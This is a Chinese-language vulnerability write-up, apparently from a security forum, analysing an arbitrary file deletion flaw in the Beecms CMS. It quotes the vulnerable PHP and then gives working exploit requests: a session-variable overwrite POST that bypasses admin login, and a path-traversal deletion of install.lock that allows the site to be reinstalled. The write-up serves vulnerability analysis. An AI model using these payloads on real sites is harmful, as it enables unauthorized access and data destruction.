一、分析
Beecms图片删除模块,未对传入参数做控制,可任意文件删除
/admin/admin_ajax.php
[PHP] 纯文本查看 复制代码
1
2
3
4
5
|
elseif ( $action == 'del_pic' ){
$file =CMS_PATH. 'upload/' . $value ;
@unlink( $file );
die ( "图片成功删除" );
}
|
其中,$value的值为删除文件路径,可控
admin_ajax.php文件有验证是否登录,通过包含init.php文件
查看init.php验证登录部分
[PHP] 纯文本查看 复制代码
1
|
if (!is_login()){header( 'location:login.php' ); exit ;}
|
查看函数is_login
[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
function is_login(){
if ( $_SESSION [ 'login_in' ]==1&& $_SESSION [ 'admin' ]){
if (time()- $_SESSION [ 'login_time' ]>3600){
login_out();
} else {
$_SESSION [ 'login_time' ]=time();
@session_regenerate_id();
}
return 1;
} else {
$_SESSION [ 'admin' ]= '' ;
$_SESSION [ 'admin_purview' ]= '' ;
$_SESSION [ 'admin_id' ]= '' ;
$_SESSION [ 'admin_time' ]= '' ;
$_SESSION [ 'login_in' ]= '' ;
$_SESSION [ 'login_time' ]= '' ;
$_SESSION [ 'admin_ip' ]= '' ;
return 0;
}
}
|
这里,可通过大神的方法让验证,变量覆盖session,绕过验证
http://bbs.ichunqiu.com/thread-13977-1-3.html
二、利用
访问:http://localhost/BEECMS/index.php
POST提交:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
然后访问:http://localhost/BEECMS/admin/admin_ajax.php
POST提交:action=del_pic&value=../data/install.lock
install.lock被删除
继续访问:http://localhost/BEECMS/install/
可覆盖安装
覆盖安装时,因为对单引号转义了,所以,没法闭合获得webshell。 |